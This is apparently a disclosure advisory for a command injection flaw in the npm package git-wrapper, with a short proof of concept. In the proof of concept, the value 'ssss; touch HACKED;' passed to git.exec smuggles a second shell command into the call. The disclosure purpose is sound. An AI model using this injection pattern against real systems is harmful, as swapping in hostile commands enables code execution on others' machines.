vulnerability command injection
severity 3.8
language javascript
registry npm


The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here:

Proof of Concept (Credit: Mik317)

  1. Create the following PoC file:
// poc.js
var Git = require("git-wrapper");
var git = new Git();
git.exec("ssss; touch HACKED;", [], function (err, s) {});
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i git-wrapper # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created